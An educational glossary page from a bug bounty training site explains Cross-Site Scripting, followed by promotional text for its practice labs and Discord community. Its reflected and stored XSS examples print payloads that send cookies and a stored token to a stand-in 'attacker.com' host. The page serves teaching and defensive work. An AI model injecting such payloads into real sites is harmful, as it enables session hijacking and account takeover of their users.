XSS

High

Cross-Site Scripting

Definition

Cross-Site Scripting (XSS) is a vulnerability that lets an attacker inject malicious JavaScript into web pages viewed by other users. The victim's browser executes the script believing it comes from a legitimate source, which allows stealing cookies, session tokens or redirecting the user to malicious sites.

Impact

Cookie and session token theft (session hijacking)User impersonation (account takeover)Redirection to phishing sitesKeylogging and credential captureDefacement of the web page

Examples

Basic Reflected XSS

The search parameter is reflected directly into the HTML without sanitization. The browser executes the script and sends the cookies to the attacker's server.

<!-- Malicious URL -->
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

<!-- The server reflects the parameter without sanitizing it -->
<p>Results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></p>

Stored XSS in comments

An attacker posts a comment with malicious code that is stored in the database. Every time another user loads the page, the script runs automatically.

<!-- Malicious comment stored in the database -->
<img src=x onerror="fetch('https://attacker.com/steal?token='+localStorage.getItem('token'))">

DOM-based XSS

The client-side JavaScript takes data from a user-controllable source (such as the URL hash) and inserts it into the DOM without sanitizing it, all without any interaction with the server.

// Vulnerable client-side code
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

// Attack URL
https://example.com/page#<img src=x onerror=alert(document.cookie)>

Practice XSS with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
4,186

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.